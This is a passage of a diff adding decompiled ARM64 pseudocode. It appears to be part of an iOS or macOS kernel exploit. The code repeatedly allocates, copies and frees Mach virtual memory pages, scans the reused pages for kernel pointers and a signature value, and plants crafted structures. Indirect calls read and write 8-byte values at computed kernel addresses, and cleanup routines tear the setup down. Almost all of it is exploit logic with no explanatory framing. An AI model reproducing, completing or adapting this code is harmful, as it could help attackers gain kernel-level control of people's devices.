+ v3 = *(_QWORD *)address; + a1[175] = *(_QWORD *)address; + *(_QWORD *)address = v3; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386); + sub_63E8(a1[175], 0x4000u, 0); + *(_QWORD *)address = a1[175] + 0x4000; + v4 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, a1[9], 0x4000u); + a1[9] = 0; + vm_copy(mach_task_self_, a1[172], 0xC000u, v4); + sub_6448(v4); + vm_deallocate(mach_task_self_, a1[175] + 49152, 0x4000u); + *(_QWORD *)address = a1[172] + 0x4000; + v5 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386); + sub_63E8(v5, 0x4000u, 0); + *(_QWORD *)address = 0; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1); + v6 = *(_QWORD *)address; + a1[173] = *(_QWORD *)address; + *(_QWORD *)address = v6; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386); + sub_63E8(a1[173], 0x4000u, 0); + *(_QWORD *)address = a1[173] + 0x4000; + v7 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386); + sub_63E8(v7, 0x4000u, 0); + v8 = a1 + 138; + vm_copy(mach_task_self_, a1[139], a1[140], a1[138]); + v9 = a1[140]; + if ( v9 ) + { + v10 = 0; + v11 = *v8; + v12 = -1; + do + { + v13 = v11 + v10; + if ( (*(_BYTE *)(v11 + v10 + 127) & 1) == 0 && (*(_BYTE *)(v13 + 383) & 1) == 0 ) + { + a1[163] = *(_QWORD *)(v13 + 328); + v12 = v10; + } + v10 += 0x4000LL; + } + while ( v10 < v9 ); + } + else + { + v12 = -1; + } + *(_QWORD *)address = 0; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1); + v14 = *(_QWORD *)address; + a1[169] = *(_QWORD *)address; + *(_QWORD *)address = v14; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386); + sub_63E8(a1[169], 0x4000u, 0); + *(_QWORD *)address = a1[169] + 0x4000; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000); + v15 = a1[139] + v12; + a1[170] = v15; + *(_QWORD *)address = v15 + 0x4000; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000); + v16 = a1[139]; + v17 = a1[170]; + v18 = v17 + 49152; + v19 = v16 + a1[140] - v17 - 0x4000; + vm_deallocate(mach_task_self_, v16, v17 - v16); + vm_deallocate(mach_task_self_, v18, v19); + vm_deallocate(mach_task_self_, a1[138], a1[140]); + *v8 = 0; + a1[139] = 0; + *(_QWORD *)address = 0; + *(_OWORD *)&address[16] = 0u; + v60 = 0u; + v61 = 0u; + v58 = 0u; + v59 = 0u; + v56 = 0u; + v57 = 0u; + v54 = 0u; + *(_QWORD *)&v55 = 0; + v52 = 0u; + v53 = 0u; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + *(_OWORD *)&address[8] = *(_OWORD *)byte_42D30; + DWORD2(v48) = 100; + LODWORD(v53) = 4; + HIDWORD(v53) = 16893952; + *((_QWORD *)&v55 + 1) = -1; + v20 = -256; + HIDWORD(v56) = 786560; + do + { + v21 = (_OWORD *)(v20 + a1[169]); + v21[28] = v58; + v21[29] = v59; + v21[30] = v60; + v21[31] = v61; + v21[24] = v54; + v21[25] = v55; + v21[26] = v56; + v21[27] = v57; + v21[20] = v50; + v21[21] = v51; + v21[22] = v52; + v21[23] = v53; + v21[16] = *(_OWORD *)address; + v21[17] = *(_OWORD *)&address[16]; + v21[18] = v48; + v21[19] = v49; + v20 += 256LL; + } + while ( v20 >> 8 < 0x3F ); + vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]); + v22 = 0; + v23 = a1 + 11; + do + { + vm_deallocate(mach_task_self_, v23[v22], 0x4000u); + v23[v22] = 0; + v22 += 2; + } + while ( v22 != 124 ); + bzero((void *)a1[169], 0x4000u); + *(_QWORD *)&v43 = 0; + v44 = 0u; + *(_QWORD *)&v45 = 0; + v46 = 0u; + v42 = 0u; + v41 = 0u; + v24 = a1[163]; + v25 = (v24 + 0x2400000200LL) >> 6; + if ( v24 == -512 ) + LODWORD(v25) = 0; + *(_DWORD *)v39 = v25; + *(_DWORD *)&v39[4] = v25; + *(_OWORD *)&v39[8] = *(_OWORD *)byte_42D30; + *(_QWORD *)&v39[24] = 0x4000; + *(_QWORD *)&v40 = v24 + 512; + *((_QWORD *)&v40 + 1) = 0x100000064LL; + LODWORD(v41) = 1; + HIDWORD(v42) = 1165312; + *((_QWORD *)&v43 + 1) = -1; + HIDWORD(v44) = 786439; + *((_QWORD *)&v45 + 1) = v24 + 184; + *(_QWORD *)&v46 = v24 + 184; + *(_QWORD *)&v35 = 0; + v36 = 0u; + *(_QWORD *)&v37 = 0; + *((_QWORD *)&v38 + 1) = 0; + v34 = 0u; + v26 = (v24 + 0x2400000100LL) >> 6; + if ( v24 == -256 ) + LODWORD(v26) = 0; + *(_DWORD *)v32 = v26; + *(_DWORD *)&v32[4] = v26; + *(_OWORD *)&v32[8] = *(_OWORD *)byte_42D30; + *(_QWORD *)&v32[24] = 0x4000; + *(_QWORD *)&v33 = 0; + *((_QWORD *)&v33 + 1) = 100; + LODWORD(v34) = 4; + HIDWORD(v34) = 100352; + *((_QWORD *)&v35 + 1) = -1; + HIDWORD(v36) = 786439; + *((_QWORD *)&v37 + 1) = v24 + 3200; + *(_QWORD *)&v38 = v24 + 3200; + DWORD2(v31) = 0; + *(_QWORD *)&v30 = 0; + if ( v24 ) + v27 = (v24 + 0x2400000000LL) >> 6; + else + v27 = 0; + DWORD2(v30) = v27; + HIDWORD(v30) = v27; + *(_QWORD *)&v31 = v27 | 0x401000100000000LL; + HIDWORD(v31) = 4108; + v28 = (_OWORD *)a1[169]; + v28[2] = v40; + v28[3] = v41; + *v28 = *(_OWORD *)v39; + v28[1] = *(_OWORD *)&v39[16]; + v28[6] = 0u; + v28[7] = v42; + v28[4] = 0u; + v28[5] = 0u; + v28[10] = v44; + v28[11] = v45; + v28[8] = 0u; + v28[9] = v43; + v28[14] = 0u; + v28[15] = 0u; + v28[12] = v46; + v28[13] = 0u; + v28[28] = v38; + v28[29] = 0u; + v28[30] = 0u; + v28[31] = 0u; + v28[24] = 0u; + v28[25] = v35; + v28[26] = v36; + v28[27] = v37; + v28[20] = 0u; + v28[21] = 0u; + v28[22] = 0u; + v28[23] = v34; + v28[16] = *(_OWORD *)v32; + v28[17] = *(_OWORD *)&v32[16]; + v28[18] = v33; + v28[19] = 0u; + v28[32] = v30; + v28[33] = 0u; + v28[34] = v31; + return vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]); +} +// 42D30: using guessed type __int128 xmmword_42D30; + +//----- (0000000000008DDC) ---------------------------------------------------- +void __fastcall sub_8DDC(_QWORD *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4) +{ + char *v8; // x21 + __int64 v9; // x23 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x8 + unsigned __int64 v12; // x9 + unsigned __int64 v13; // x9 + unsigned __int64 v14; // x8 + char *v15; // x9 + unsigned __int64 v16; // x12 + __int64 vars8; // [xsp+38h] [xbp+8h] + + v8 = (char *)malloc(0x4000u); + v9 = -(__int64)vm_page_size & a2; + if ( v9 ) + { + while ( 1 ) + { + v10 = sub_6F68(); + if ( v10 ) + break; +LABEL_6: + v9 -= 0x4000; + if ( !v9 ) + goto LABEL_7; + } + sub_6E30(a1, v10, v8, 0x4000u); + v11 = 0; + while ( *(_DWORD *)&v8[v11] != -1459454112 ) + { + v12 = v11 >> 3; + v11 += 4LL; + if ( v12 >= 0x7FF ) + goto LABEL_6; + } + v15 = &v8[v11]; + v16 = v9 + v11; + v14 = ((v9 + v11 + 12) & 0xFFFFFFFFFFFFF000LL) + + (((unsigned __int64)*(unsigned int *)&v8[v11 + 16] >> 7) & 0x7FF8) + + 2LL * ((*(_DWORD *)&v8[v11 + 12] >> 18) & 0x1800 | (*(_DWORD *)&v8[v11 + 12] >> 5 << 13)); + v13 = ((v16 - 20) & 0xFFFFFFFFFFFFF000LL) + + (((unsigned __int64)*((unsigned int *)v15 - 4) >> 7) & 0x7FF8) + + 2LL * ((*((_DWORD *)v15 - 5) >> 18) & 0x1800 | (*((_DWORD *)v15 - 5) >> 5 << 13)); + } + else + { +LABEL_7: + v13 = 0; + v14 = 0; + } + *a3 = v14; + *a4 = v13; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v8); +} +// 8F08: variable 'vars8' is possibly undefined + +//----- (0000000000008F18) ---------------------------------------------------- +void __fastcall sub_8F18(_QWORD *a1, __int64 a2, int a3, _QWORD *a4) +{ + char *v8; // x21 + unsigned __int64 v9; // x24 + __int64 v10; // x22 + unsigned __int64 v11; // x25 + __int64 v12; // x23 + unsigned __int64 v13; // x8 + unsigned __int64 v14; // x9 + unsigned __int64 v15; // x8 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v8 = (char *)malloc(0x4000u); + if ( a2 == 0x10000000000LL ) + v9 = 0xFFFF800000000000LL; + else + v9 = 0xFFFFFF8000000000LL; + v10 = (unsigned int)(a3 << 14) + a2; + v11 = 50331648; + v12 = v10 + 50331648; + while ( 2 ) + { + sub_6E30(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000u); + v13 = 0; + do + { + if ( *(_QWORD *)&v8[v13 + 16] == v9 && *(_QWORD *)&v8[v13 + 24] == -1 ) + { + *a4 = v12 + v13; + goto LABEL_12; + } + v14 = v13 >> 3; + v13 += 8LL; + } + while ( v14 < 0x7E3 ); + v15 = v11 >> 14; + v11 += 0x4000LL; + v12 += 0x4000; + if ( v15 < 0xFFF ) + continue; + break; + } +LABEL_12: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v8); +} +// 9008: variable 'vars8' is possibly undefined + +//----- (0000000000009018) ---------------------------------------------------- +void *__fastcall sub_9018(_QWORD *a1) +{ + __int16 v2; // w1 + __int64 v3; // x1 + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x0 + void *result; // x0 + __int64 v7; // [xsp+0h] [xbp-200h] BYREF + __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF + unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF + unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF + _OWORD v11[4]; // [xsp+20h] [xbp-1E0h] BYREF + __int128 v12; // [xsp+60h] [xbp-1A0h] + __int128 v13; // [xsp+70h] [xbp-190h] + __int128 v14; // [xsp+80h] [xbp-180h] + __int128 v15; // [xsp+90h] [xbp-170h] + __int128 v16; // [xsp+A0h] [xbp-160h] + __int128 v17; // [xsp+B0h] [xbp-150h] + __int128 v18; // [xsp+C0h] [xbp-140h] + __int128 v19; // [xsp+D0h] [xbp-130h] + __int128 v20; // [xsp+E0h] [xbp-120h] + __int128 v21; // [xsp+F0h] [xbp-110h] + _OWORD v22[4]; // [xsp+100h] [xbp-100h] BYREF + __int128 v23; // [xsp+140h] [xbp-C0h] + __int128 v24; // [xsp+150h] [xbp-B0h] + __int128 v25; // [xsp+160h] [xbp-A0h] + __int128 v26; // [xsp+170h] [xbp-90h] + __int128 v27; // [xsp+180h] [xbp-80h] + __int128 v28; // [xsp+190h] [xbp-70h] + __int128 v29; // [xsp+1A0h] [xbp-60h] + __int128 v30; // [xsp+1B0h] [xbp-50h] + __int128 v31; // [xsp+1C0h] [xbp-40h] + __int128 v32; // [xsp+1D0h] [xbp-30h] + unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF + int v34; // [xsp+1ECh] [xbp-14h] BYREF + + v34 = 0; + sub_6DC0(a1, a1[181], &v34); + v33 = 0; + sub_8F18(a1, a1[180], v34, &v33); + v31 = 0u; + v32 = 0u; + v29 = 0u; + v30 = 0u; + v27 = 0u; + v28 = 0u; + v25 = 0u; + v26 = 0u; + v23 = 0u; + v24 = 0u; + memset(v22, 0, sizeof(v22)); + sub_6E30(a1, v33, v22, 0xE0u); + v2 = v23; + a1[164] = *((_QWORD *)&v22[0] + 1); + a1[165] = a1[182]; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + v14 = 0u; + v15 = 0u; + v12 = 0u; + v13 = 0u; + memset(v11, 0, sizeof(v11)); + sub_70A4(a1, v2, (char *)v11, 0xE0u); + v3 = *((_QWORD *)&v12 + 1); + a1[166] = *((_QWORD *)&v12 + 1); + v9 = 0; + v10 = 0; + sub_8DDC(a1, v3, &v10, &v9); + v8 = 0; + v4 = sub_6F68(); + sub_6E30(a1, v4, &v8, 8u); + a1[167] = v8; + v7 = 0; + v5 = sub_6F68(); + result = sub_6E30(a1, v5, &v7, 8u); + a1[168] = v7; + return result; +} + +//----- (0000000000009150) ---------------------------------------------------- +__int64 __fastcall sub_9150(__int64 a1) +{ + vm_size_t v2; // x2 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 1080), *(_QWORD *)(a1 + 1096)); + *(_QWORD *)(a1 + 1080) = 0; + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 1464))(*(_QWORD *)(a1 + 1488), *(_QWORD *)(a1 + 1088)); + v2 = *(_QWORD *)(a1 + 1096); + address = *(_QWORD *)(a1 + 1088); + vm_allocate(mach_task_self_, &address, v2, 0x4000); + **(_BYTE **)(a1 + 1088) = 65; + result = vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 1088), *(_QWORD *)(a1 + 1096)); + *(_QWORD *)(a1 + 1088) = 0; + return result; +} + +//----- (00000000000091E0) ---------------------------------------------------- +__int64 __fastcall sub_91E0(__int64 result, __int64 a2) +{ + __int64 v3; // x20 + unsigned __int64 v4; // x21 + __int64 v5; // x22 + + v3 = result; + v4 = 0; + v5 = a2 + 20; + do + { + if ( v4 < *(_QWORD *)(a2 + 32) ) + { + (*(void (__fastcall **)(_QWORD, _QWORD))(v3 + 1472))(*(_QWORD *)(v3 + 1488), *(unsigned int *)(v5 + 4 * v4)); + result = mach_port_deallocate(mach_task_self_, *(_DWORD *)(v5 + 4 * v4)); + *(_DWORD *)(v5 + 4 * v4) = 0; + } + ++v4; + } + while ( v4 != 3 ); + return result; +} + +//----- (000000000000925C) ---------------------------------------------------- +void __fastcall sub_925C(__int64 a1) +{ + __int64 v2; // x22 + __int64 v3; // x25 + __int64 v4; // x23 + _QWORD *v5; // x20 + __int64 v6; // x27 + char v7; // w8 + char v8; // w21 + vm_address_t *v9; // x20 + _QWORD v11[2]; // [xsp+8h] [xbp-68h] + + v2 = 0; + v3 = a1 + 1128; + v4 = a1 + 1168; + v11[0] = a1 + 1128; + v11[1] = a1 + 1168; + while ( 1 ) + { + while ( 1 ) + { + v5 = *(_QWORD **)(v3 + 24); + if ( !v5 ) + break; + *(_QWORD *)(v3 + 24) = *v5; + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 1464))(*(_QWORD *)(a1 + 1488), v5[3]); + vm_deallocate(mach_task_self_, v5[3], 0x4000u); + v5[3] = 0; + sub_91E0(a1, (__int64)(v5 + 2)); + free(v5); + } + v6 = 0; + v7 = 1; + do + { + v8 = v7; + v9 = *(vm_address_t **)(v3 + 8 * v6); + sub_91E0(a1, (__int64)(v9 + 2)); + if ( v6 != *(_QWORD *)(v3 + 16) || v3 == v4 ) + { + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), v9[7]); + vm_deallocate(mach_task_self_, v9[7], 0xC000u); + } + free(v9); + v7 = 0; + v6 = 1; + } + while ( (v8 & 1) != 0 ); + if ( ++v2 == 2 ) + break; + v3 = v11[v2]; + } +} + +//----- (00000000000093B0) ---------------------------------------------------- +__int64 __fastcall sub_93B0(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 1464))(*(_QWORD *)(a1 + 1488), *(_QWORD *)(a2 + 24)); + vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 24), 0x4000u); + *(_QWORD *)(a2 + 24) = 0; + result = vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 136), 0x18000u); + *(_QWORD *)(a2 + 136) = 0; + return result; +} + +//----- (0000000000009410) ---------------------------------------------------- +__int64 __fastcall sub_9410(__int64 a1, vm_address_t *a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[3]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[8]); + vm_deallocate(mach_task_self_, a2[3], 0x4000u); + a2[3] = 0; + vm_deallocate(mach_task_self_, a2[8], 0x4000u); + a2[8] = 0; + vm_deallocate(mach_task_self_, a2[17], 0x18000u); + a2[17] = 0; + result = vm_deallocate(mach_task_self_, a2[18], 0x14000u); + a2[18] = 0; + return result; +} + +//----- (00000000000094B0) ---------------------------------------------------- +__int64 __fastcall sub_94B0(__int64 a1, vm_address_t *a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[3]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[8]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[13]); + vm_deallocate(mach_task_self_, a2[3], 0x4000u); + a2[3] = 0; + vm_deallocate(mach_task_self_, a2[8], 0x4000u); + a2[8] = 0; + vm_deallocate(mach_task_self_, a2[13], 0x4000u); + a2[13] = 0; + vm_deallocate(mach_task_self_, a2[17], 0x18000u); + a2[17] = 0; + vm_deallocate(mach_task_self_, a2[18], 0x14000u); + a2[18] = 0; + result = vm_deallocate(mach_task_self_, a2[19], 0x10000u); + a2[19] = 0; + return result; +} + +//----- (0000000000009588) ---------------------------------------------------- +__int64 __fastcall sub_9588(__int64 a1, _QWORD *a2) +{ + __int64 v4; // x20 + __int64 v5; // x21 + __int64 result; // x0 + _OWORD v7[16]; // [xsp+0h] [xbp-130h] BYREF + + v4 = *(_QWORD *)(a1 + 1488); + (*(void (__fastcall **)(__int64, _QWORD))(a1 + 1464))(v4, a2[8]); + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 1464))(*(_QWORD *)(a1 + 1488), a2[13]); + vm_deallocate(mach_task_self_, a2[8], 0x4000u); + a2[8] = 0; + vm_deallocate(mach_task_self_, a2[13], 0x4000u); + a2[13] = 0; + v5 = a2[7] - *(_QWORD *)(a1 + 1344); + memset(v7, 0, sizeof(v7)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 48))(v4, v5, v7, 256, 1); + *((_QWORD *)&v7[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v5 + 72, (char *)&v7[4] + 8, 8, 1); + vm_deallocate(mach_task_self_, a2[20], 0x10000u); + a2[20] = 0; + vm_deallocate(mach_task_self_, a2[21], 0x10000u); + a2[21] = 0; + vm_deallocate(mach_task_self_, a2[22], 0x10000u); + a2[22] = 0; + result = vm_deallocate(mach_task_self_, a2[23], 0x10000u); + a2[23] = 0; + return result; +} + +//----- (00000000000096D8) ---------------------------------------------------- +__int64 __fastcall sub_96D8(__int64 a1, _QWORD *a2) +{ + __int64 v4; // x20 + __int64 v5; // x9 + __int64 v6; // x22 + __int64 v7; // x21 + __int64 result; // x0 + _OWORD v9[16]; // [xsp+0h] [xbp-240h] BYREF + _OWORD v10[16]; // [xsp+100h] [xbp-140h] BYREF + + v4 = *(_QWORD *)(a1 + 1488); + (*(void (__fastcall **)(__int64, _QWORD))(a1 + 1464))(v4, a2[13]); + vm_deallocate(mach_task_self_, a2[13], 0x4000u); + a2[13] = 0; + v5 = *(_QWORD *)(a1 + 1344); + v6 = a2[2] - v5; + v7 = a2[12] - v5; + memset(v10, 0, sizeof(v10)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 48))(v4, v6, v10, 256, 1); + DWORD2(v10[2]) = 3; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v6 + 40, (char *)&v10[2] + 8, 4, 1); + memset(v9, 0, sizeof(v9)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 48))(v4, v7, v9, 256, 1); + *((_QWORD *)&v9[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v7 + 72, (char *)&v9[4] + 8, 8, 1); + vm_deallocate(mach_task_self_, a2[20], 0x4000u); + a2[20] = 0; + vm_deallocate(mach_task_self_, a2[21], 0x10000u); + a2[21] = 0; + vm_deallocate(mach_task_self_, a2[22], 0x10000u); + a2[22] = 0; + vm_deallocate(mach_task_self_, a2[23], 0x10000u); + a2[23] = 0; + vm_deallocate(mach_task_self_, a2[24], 0x10000u); + a2[24] = 0; + result = vm_deallocate(mach_task_self_, a2[25], 0x10000u); + a2[25] = 0; + return result; +} + +//----- (00000000000098A4) ---------------------------------------------------- +__int64 __fastcall sub_98A4(__int64 a1, _QWORD *a2) +{ + __int64 v3; // x20 + __int64 v4; // x9 + __int64 v5; // x23 + __int64 v6; // x22 + __int64 v7; // x21 + __int64 result; // x0 + _OWORD v9[16]; // [xsp+0h] [xbp-340h] BYREF + _OWORD v10[16]; // [xsp+100h] [xbp-240h] BYREF + _OWORD v11[16]; // [xsp+200h] [xbp-140h] BYREF + + v3 = *(_QWORD *)(a1 + 1488); + v4 = *(_QWORD *)(a1 + 1344); + v5 = a2[2] - v4; + v6 = a2[7] - v4; + v7 = a2[12] - v4; + memset(v11, 0, sizeof(v11)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v5, v11, 256, 1); + *((_QWORD *)&v11[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v5 + 72, (char *)&v11[4] + 8, 8, 1); + memset(v10, 0, sizeof(v10)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v6, v10, 256, 1); + *((_QWORD *)&v10[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v6 + 72, (char *)&v10[4] + 8, 8, 1); + memset(v9, 0, sizeof(v9)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v7, v9, 256, 1); + *((_QWORD *)&v9[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 72, (char *)&v9[4] + 8, 8, 1); + *((_QWORD *)&v9[3] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 56, (char *)&v9[3] + 8, 8, 1); + vm_deallocate(mach_task_self_, a2[20], 0x4000u); + a2[20] = 0; + vm_deallocate(mach_task_self_, a2[26], 0x10000u); + a2[26] = 0; + vm_deallocate(mach_task_self_, a2[27], 0x10000u); + a2[27] = 0; + vm_deallocate(mach_task_self_, a2[28], 0x10000u); + a2[28] = 0; + result = vm_deallocate(mach_task_self_, a2[29], 0x10000u); + a2[29] = 0; + return result; +} + +//----- (0000000000009AC0) ---------------------------------------------------- +void __fastcall sub_9AC0(__int64 a1) +{ + __int64 v2; // x24 + __int64 v3; // x20 + vm_address_t **v4; // x27 + vm_address_t *v5; // x21 + vm_address_t *v6; // x26 + _QWORD *v7; // x25 + __int64 v8; // x9 + __int64 v9; // x23 + _QWORD *v10; // x28 + __int64 v11; // x22 + __int64 v12; // x21 + __int64 v13; // x1 + __int64 v14; // x21 + vm_address_t *v15; // x21 + __int64 v16; // [xsp+28h] [xbp-488h] + __int64 v17; // [xsp+30h] [xbp-480h] + _QWORD *v18; // [xsp+38h] [xbp-478h] + _OWORD v19[16]; // [xsp+40h] [xbp-470h] BYREF + _OWORD v20[16]; // [xsp+140h] [xbp-370h] BYREF + _OWORD v21[16]; // [xsp+240h] [xbp-270h] BYREF + _OWORD v22[16]; // [xsp+340h] [xbp-170h] BYREF + _QWORD v23[2]; // [xsp+440h] [xbp-70h] + + v2 = 0; + v3 = *(_QWORD *)(a1 + 1488); + v4 = (vm_address_t **)(a1 + 1208); + v23[0] = a1 + 1208; + v23[1] = a1 + 1240; + v16 = a1 + 1240; + v17 = a1 + 1208; + while ( 1 ) + { + while ( 1 ) + { + v5 = v4[1]; + if ( !v5 ) + break; + v4[1] = (vm_address_t *)*v5; + switch ( v5[1] ) + { + case 1uLL: + sub_93B0(a1, (__int64)v5); + break; + case 2uLL: + sub_9410(a1, v5); + break; + case 3uLL: + sub_94B0(a1, v5); + break; + case 4uLL: + sub_9588(a1, v5); + break; + case 5uLL: + sub_96D8(a1, v5); + break; + case 6uLL: + sub_98A4(a1, v5); + break; + default: + break; + } + sub_91E0(a1, (__int64)(v5 + 2)); + sub_91E0(a1, (__int64)(v5 + 7)); + sub_91E0(a1, (__int64)(v5 + 12)); + free(v5); + } + v6 = *v4; + v7 = *v4 + 2; + v8 = *(_QWORD *)(a1 + 1344); + v9 = *v7 - v8; + v10 = *v4 + 7; + v11 = *v10 - v8; + v18 = *v4 + 12; + v12 = *v18 - v8; + memset(v22, 0, sizeof(v22)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v9, v22, 256, 1); + *((_QWORD *)&v22[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))( + v3, + v9 + 72, + (char *)&v22[4] + 8, + 8, + 1); + memset(v21, 0, sizeof(v21)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v11, v21, 256, 1); + *((_QWORD *)&v21[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))( + v3, + v11 + 72, + (char *)&v21[4] + 8, + 8, + 1); + memset(v20, 0, sizeof(v20)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v12, v20, 256, 1); + *((_QWORD *)&v20[4] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))( + v3, + v12 + 72, + (char *)&v20[4] + 8, + 8, + 1); + *((_QWORD *)&v20[3] + 1) = 0; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))( + v3, + v12 + 56, + (char *)&v20[3] + 8, + 8, + 1); + if ( v4 == (vm_address_t **)v16 ) + { + sub_6448(v6[26]); + v14 = v13 - *(_QWORD *)(a1 + 1344); + memset(v19, 0, sizeof(v19)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 48))(v3, v14, v19, 256, 1); + DWORD2(v19[2]) = 2; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))( + v3, + v14 + 40, + (char *)&v19[2] + 8, + 4, + 1); + } + vm_deallocate(mach_task_self_, v6[28], 0x10000u); + v6[28] = 0; + vm_deallocate(mach_task_self_, v6[29], 0x10000u); + v6[29] = 0; + if ( v4 == (vm_address_t **)v17 ) + { + vm_deallocate(mach_task_self_, v6[26], 0x10000u); + v6[26] = 0; + vm_deallocate(mach_task_self_, v6[27], 0x10000u); + v6[27] = 0; + vm_deallocate(mach_task_self_, v6[30], 0xC000u); + v6[30] = 0; + v15 = v6 + 31; + } + else + { + vm_deallocate(mach_task_self_, v6[26], 0xC000u); + v6[26] = 0; + v15 = v6 + 27; + } + vm_deallocate(mach_task_self_, *v15, 0xC000u); + *v15 = 0; + sub_91E0(a1, (__int64)v7); + sub_91E0(a1, (__int64)v10); + sub_91E0(a1, (__int64)v18); + free(v6); + if ( ++v2 == 2 ) + break; + v4 = (vm_address_t **)v23[v2]; + } +} +// 9D9C: variable 'v13' is possibly undefined + +//----- (0000000000009F4C) ---------------------------------------------------- +__int64 __fastcall sub_9F4C(__int64 a1) +{ + _QWORD *v2; // x0 + __int64 (__fastcall *v3)(__int64, __int64); // x2 + __int64 v4; // x0 + __int64 v5; // x1 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = *(_QWORD **)a1; + if ( v2 ) + { + do + { + *(_QWORD *)a1 = *v2; + sub_68F4((__int64)v2); + v2 = *(_QWORD **)a1; + } + while ( *(_QWORD *)a1 ); + } + vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 32), (*(_QWORD *)(a1 + 1432) << 14) + 49152LL); + *(_QWORD *)(a1 + 32) = 0; + sub_9150(a1); + sub_925C(a1); + sub_9AC0(a1); + atomic_load((unsigned __int8 *)(a1 + 1280)); + atomic_load((unsigned __int8 *)(a1 + 1296)); + v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 1480); + v4 = *(_QWORD *)(a1 + 1488); + v5 = *(_QWORD *)(a1 + 1360); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return v3(v4, v5); +} +// 9FE0: variable 'vars8' is possibly undefined + +//----- (0000000000009FF0) ---------------------------------------------------- +void __fastcall sub_9FF0(vm_address_t *a1) +{ + __int64 